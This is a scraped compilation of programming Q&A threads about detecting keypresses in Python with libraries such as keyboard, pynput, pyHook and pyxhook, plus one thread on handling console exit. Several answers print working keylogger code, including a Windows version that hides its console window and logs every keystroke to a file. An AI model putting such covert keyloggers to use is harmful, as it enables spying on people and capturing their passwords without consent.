Detect keypress with python (not msvct) - python

I'm looking for a python module that will allow me to detect keyboard events.. Now I know this module msvct, but it only works for key presses that are done in the console. I need to create a passive program that will hook to the keyboard but I cant find how..
Thank you for your help

Python has a keyboard module with many features. You Can Use It In Both Shell and Console. It Also Detect Key For The Whole Windows.
Install it, perhaps with this command:
pip3 install keyboard
Then use it in code like:
import keyboard #Using module keyboard
while True: #making a loop
try: #used try so that if user pressed other than the given key error will not be shown
if keyboard.is_pressed('a'): #if key 'a' is pressed
print('You Pressed A Key!')
break #finishing the loop
else:
pass
except:
break #if user pressed other than the given key the loop will break
You can set it to multiple Key Detection:
if keyboard.is_pressed('a') or keyboard.is_pressed('b') or keyboard.is_pressed('c'): # and so on
#then do this

You can even try this code
sudo apt-get install python-xlib
Log.py
import os
import pyxhook
# This tells the keylogger where the log file will go.
# You can set the file path as an environment variable ('pylogger_file'),
# or use the default ~/Desktop/file.log
log_file = os.environ.get(
'pylogger_file',
os.path.expanduser('~/Desktop/file.log')
)
# Allow setting the cancel key from environment args, Default: `
cancel_key = ord(
os.environ.get(
'pylogger_cancel',
'`'
)[0]
)
# Allow clearing the log file on start, if pylogger_clean is defined.
if os.environ.get('pylogger_clean', None) is not None:
try:
os.remove(log_file)
except EnvironmentError:
# File does not exist, or no permissions.
pass
#creating key pressing event and saving it into log file
def OnKeyPress(event):
with open(log_file, 'a') as f:
f.write('{}\n'.format(event.Key))
# create a hook manager object
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
# set the hook
new_hook.HookKeyboard()
try:
new_hook.start() # start the hook
except KeyboardInterrupt:
# User cancelled from command line.
pass
except Exception as ex:
# Write exceptions to the log file, for analysis later.
msg = 'Error while catching events:\n {}'.format(ex)
pyxhook.print_err(msg)
with open(log_file, 'a') as f:
f.write('\n{}'.format(msg))
This keylogger will append every key you press.

Related

detect key press in python, where each iteration can take more than a couple of seconds?

Edit: The below answer to use keyboard.on_press(callback, suppress=False) works fine in ubuntu without any issues.
But in Redhat/Amazon linux, it fails to work.
I have used the code snippet from this thread
import keyboard # using module keyboard
while True: # making a loop
try: # used try so that if user pressed other than the given key error will not be shown
if keyboard.is_pressed('q'): # if key 'q' is pressed
print('You Pressed A Key!')
break # finishing the loop
except:
break # if user pressed a key other than the given key the loop will break
But the above code requires the each iteration to be executed in nano-seconds. It fails in the below case:
import keyboard # using module keyboard
import time
while True: # making a loop
try: # used try so that if user pressed other than the given key error will not be shown
print("sleeping")
time.sleep(5)
print("slept")
if keyboard.is_pressed('q'): # if key 'q' is pressed
print('You Pressed A Key!')
break # finishing the loop
except:
print("#######")
break # if user pressed a key other than the given key the loop will break
You can make use of event handlers in keyboard module to achieve the desired result.
One such handler is keyboard.on_press(callback, suppress=False):
Which invokes a callback for every key_down event.
You can refer more at keyboard docs
Here is the code you can try:
import keyboard # using module keyboard
import time
stop = False
def onkeypress(event):
global stop
if event.name == 'q':
stop = True
# ---------> hook event handler
keyboard.on_press(onkeypress)
# --------->
while True: # making a loop
try: # used try so that if user pressed other than the given key error will not be shown
print("sleeping")
time.sleep(5)
print("slept")
if stop: # if key 'q' is pressed
print('You Pressed A Key!')
break # finishing the loop
except:
print("#######")
break # if user pressed a key other than the given key the loop will break
for people that might need this in the future, you can use keyboard.wait() which will basically wait untill the key gets pressed
keyboard.wait("o")
print("you pressed the letter o")
Do keep in mind that it blocks code execution after it. if you want to run code if the key is not being pressed i'd suggest doing
if keyboard.is_pressed("0"):
#do stuff
else:
#do other stuff
Edit: never mind, the other answer uses pretty much the same approach
This is what i could come up with, using the same "keyboard" module, see in-code comments below
import keyboard, time
from queue import Queue
# keyboard keypress callback
def on_keypress(e):
keys_queue.put(e.name)
# tell keyboard module to tell us about keypresses via callback
# this callback happens on a separate thread
keys_queue = Queue()
keyboard.on_press(on_keypress)
try:
# run the main loop until some key is in the queue
while keys_queue.empty():
print("sleeping")
time.sleep(5)
print("slept")
# check if its the right key
if keys_queue.get()!='q':
raise Exception("terminated by bad key")
# still here? good, this means we've been stoped by the right key
print("terminated by correct key")
except:
# well, you can
print("#######")
finally:
# stop receiving the callback at this point
keyboard.unhook_all()
You could use a thread
import threading
class KeyboardEvent(threading.Thread):
def run(self):
if keyboard.is_pressed('q'): # if key 'q' is pressed
print('You Pressed A Key!')
break # finishing the loop
keyread = KeyboardEvent()
keyread.start()
This would run in parallel to anything in the main thread and be dedicated to listening for that key press essentially.

Listening to specific keys with pynput.Listener and keylogger?

I have the following python script below:
But I want to "listen" or, if it's enough, just "record" to my log.txt, the following keys: Key.left and Key.up. How can I cause this restriction?
This question is similar but the code structures of her responses are somewhat different and would require a major change to allow the keylogger and this restriction on the Listener.
And this other question seems to me to be a potential source of inspiration for finding a method of solution.
I spent some time looking for a question that would give me this answer or help me to reflect on it but I couldn't find it but if there is a question already published please let me know!
How to create a Python keylogger:
#in pynput, import keyboard Listener method
from pynput.keyboard import Listener
#set log file location
logFile = "/home/diego/log.txt"
def writeLog(key):
'''
This function will be responsible for receiving the key pressed.
via Listener and write to log file
'''
#convert the keystroke to string
keydata = str(key)
#open log file in append mode
with open(logFile, "a") as f:
f.write(keydata)
#open the Keyboard Listener and listen for the on_press event
#when the on_press event occurs call the writeLog function
with Listener(on_press=writeLog) as l:
l.join()
You can import Key module from pynput.keyboard and check for the type of key-strokes.
#in pynput, import keyboard Listener method
from pynput.keyboard import Listener, Key
#set log file location
logFile = "/home/diego/log.txt"
def writeLog(key):
'''
This function will be responsible for receiving the key pressed.
via Listener and write to log file
'''
if(key == Key.left or key == Key.up):
#convert the keystroke to string
keydata = str(key)
#open log file in append mode
with open(logFile, "a") as f:
f.write(keydata)
#open the Keyboard Listener and listen for the on_press event
#when the on_press event occurs call the writeLog function
with Listener(on_press=writeLog) as l:
l.join()

Pyhook event.Injected?

Really more of a question here. Based on pyHook's tutorial, the .HookManager().OnMouseEvent event variable in the function has a .Injected attribute. I couldn't find any information about it, does anyone know what it is? I tried doing
event.Injected = '<char to inject>'
but it didn't work.
Disclaimer: I'm not expert of this stuff,
I'm just sharing my observations about the tutorial and the documentation,
in the hope that it will be helpful.
The attributes on event are not for you to set manually,
but for your event handlers to read and act upon.
As you can see in the documentation of KeyboardEvent and MouseEvent,
the purpose of the Injected instance variables is to check if the event was generated programmatically or not.
I think, this means events that your handlers receive from mouse and keyboard activity, will always have this variable False.
And there is a way to generate events programmatically,
I imagine for the purpose of testing your handlers.
And the method appear to be HookManager.KeyboardSwitch and HookManager.MouseSwitch.
Try this for example. Create a simple program to see the details of some real keyboard events:
import pythoncom, pyHook
def OnKeyboardEvent(event):
print 'MessageName:',event.MessageName
print 'Message:',event.Message
print 'Time:',event.Time
print 'Window:',event.Window
print 'WindowName:',event.WindowName
print 'Ascii:', event.Ascii, chr(event.Ascii)
print 'Key:', event.Key
print 'KeyID:', event.KeyID
print 'ScanCode:', event.ScanCode
print 'Extended:', event.Extended
print 'Injected:', event.Injected
print 'Alt', event.Alt
print 'Transition', event.Transition
print '---'
# return True to pass the event to other handlers
return True
# create a hook manager
hm = pyHook.HookManager()
# watch for key press events
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
Press a couple of keys and observe the outputs. Press Control-C to terminate the program.
Then, to generate some events programmatically and see what they look like,
try something like this:
import pythoncom, pyHook
def OnKeyboardEvent(event):
# ... same code as in previous sample ...
# create a hook manager
hm = pyHook.HookManager()
# watch for key press events
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# send keyboard event programmatically
msg = ... # a value like in the "Message: ..." output in the previous run
vk_code = ... # a value like in the "KeyID: ..." output in the previous run
scan_code = ... # a value like in the "ScanCode: ..." output in the previous run
ascii = ... # a value like in the "Ascii: ..." output in the previous run
flags = 0x10 # see http://pyhook.sourceforge.net/doc_1.5.0/pyhook.HookManager-pysrc.html#KeyboardEvent.IsInjected
time = ... # a value like in the "Time: ..." output in the previous run
hwnd = ... # a value like in the "Window: ..." output in the previous run
win_name = ... # a value like in the "WindowName: ..." output in the previous run
hm.KeyboardSwitch(msg, vk_code, scan_code, ascii, flags, time, hwnd, win_name)
After you set appropriate values,
and run this program,
you should see "Injected: True" in the output.
I think this is the basic idea, and similarly for mouse events.
Unfortunately I'm not able to test this,
because it seems pyHook is a library for Windows OS, which I don't have.

How to take input even when the console app is not the focused one in Python

import pyperclip
text = input("Enter the text: ")
y = -2
def PrintAndWait(x):
global y
print(text[y+2:x+1], end="")
pyperclip.copy(text[y+2:x+1])
waitingForEnter = input()
y = x
for x in range (0,len(text)):
if text[x] == "." or text[x] == "?" or text[x] == "!":
PrintAndWait(x)
code
I made this app that takes a text and splits into sentences and sends a sentence at a time to the clipboard when there's any input from the keyboard.
How can I make it so it does this but when I press a key but the console isn't focused (I mean I'm not directly writing into it)?
I want to make this so I can send a larger text into a conversation one sentence at a time.
That's not possible using input() unless you write a script that listens directly from the keyboard buffer at OS level (i.e a keylogger).
Here is a promising tutorial on how to do something like this (although I haven't tried it personally).
Windows
# Python code for keylogger
# to be used in windows
import win32api
import win32console
import win32gui
import pythoncom, pyHook
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii !=0 or 8:
#open output.txt to read current keystrokes
f = open('c:\output.txt', 'r+')
buffer = f.read()
f.close()
# open output.txt to write current + new keystrokes
f = open('c:\output.txt', 'w')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = '/n'
buffer += keylogs
f.write(buffer)
f.close()
# create a hook manager object
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
Linux
# Python code for keylogger
# to be used in linux
import os
import pyxhook
# This tells the keylogger where the log file will go.
# You can set the file path as an environment variable ('pylogger_file'),
# or use the default ~/Desktop/file.log
log_file = os.environ.get(
'pylogger_file',
os.path.expanduser('~/Desktop/file.log')
)
# Allow setting the cancel key from environment args, Default: `
cancel_key = ord(
os.environ.get(
'pylogger_cancel',
'`'
)[0]
)
# Allow clearing the log file on start, if pylogger_clean is defined.
if os.environ.get('pylogger_clean', None) is not None:
try:
os.remove(log_file)
except EnvironmentError:
# File does not exist, or no permissions.
pass
#creating key pressing event and saving it into log file
def OnKeyPress(event):
with open(log_file, 'a') as f:
f.write('{}\n'.format(event.Key))
# create a hook manager object
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
# set the hook
new_hook.HookKeyboard()
try:
new_hook.start() # start the hook
except KeyboardInterrupt:
# User cancelled from command line.
pass
except Exception as ex:
# Write exceptions to the log file, for analysis later.
msg = 'Error while catching events:\n {}'.format(ex)
pyxhook.print_err(msg)
with open(log_file, 'a') as f:
f.write('\n{}'.format(msg))

How to handle console exit and object destruction

Given this code:
from time import sleep
class TemporaryFileCreator(object):
def __init__(self):
print 'create temporary file'
# create_temp_file('temp.txt')
def watch(self):
try:
print 'watching tempoary file'
while True:
# add_a_line_in_temp_file('temp.txt', 'new line')
sleep(4)
except (KeyboardInterrupt, SystemExit), e:
print 'deleting the temporary file..'
# delete_temporary_file('temp.txt')
sleep(3)
print str(e)
t = TemporaryFileCreator()
t.watch()
during the t.watch(), I want to close this application in the console..
I tried using CTRL+C and it works:
However, if I click the exit button:
it doesn't work.. I checked many related questions about this but it seems that I cannot find the right answer..
What I want to do:
The console can be exited while the program is still running.. to handle that, when the exit button is pressed, I want to make a cleanup of the objects (deleting of created temporary files), rollback of temporary changes, etc..
Question:
how can I handle console exit?
how can I integrate it on object destructors (__exit__())
Is it even possible? (how about py2exe?)
Note: code will be compiled on py2exe.. "hopes that the effect is the same"
You may want to have a look at signals. When a *nix terminal is closed with a running process, this process receives a couple signals. For instance this code waits for the SIGHUB hangup signal and writes a final message. This codes works under OSX and Linux. I know you are specifically asking for Windows but you might want to give it a shot or investigate what signals a Windows command prompt is emitting during shutdown.
import signal
import sys
def signal_handler(signal, frame):
with open('./log.log', 'w') as f:
f.write('event received!')
signal.signal(signal.SIGHUP, signal_handler)
print('Waiting for the final blow...')
#signal.pause() # does not work under windows
sleep(10) # so let us just wait here
Quote from the documentation:
On Windows, signal() can only be called with SIGABRT, SIGFPE, SIGILL, SIGINT, SIGSEGV, or SIGTERM. A ValueError will be raised in any other case.
Update:
Actually, the closest thing in Windows is win32api.setConsoleCtrlHandler (doc). This was already discussed here:
When using win32api.setConsoleCtrlHandler(), I'm able to receive shutdown/logoff/etc events from Windows, and cleanly shut down my app.
And if Daniel's code still works, this might be a nice way to use both (signals and CtrlHandler) for cross-platform purposes:
import os, sys
def set_exit_handler(func):
if os.name == "nt":
try:
import win32api
win32api.SetConsoleCtrlHandler(func, True)
except ImportError:
version = “.”.join(map(str, sys.version_info[:2]))
raise Exception(”pywin32 not installed for Python ” + version)
else:
import signal
signal.signal(signal.SIGTERM, func)
if __name__ == "__main__":
def on_exit(sig, func=None):
print "exit handler triggered"
import time
time.sleep(5)
set_exit_handler(on_exit)
print "Press to quit"
raw_input()
print "quit!"
If you use tempfile to create your temporary file, it will be automatically deleted when the Python process is killed.
Try it with:
>>> foo = tempfile.NamedTemporaryFile()
>>> foo.name
'c:\\users\\blah\\appdata\\local\\temp\\tmpxxxxxx'
Now check that the named file is there. You can write to and read from this file like any other.
Now kill the Python window and check that file is gone (it should be)
You can simply call foo.close() to delete it manually in your code.

Categories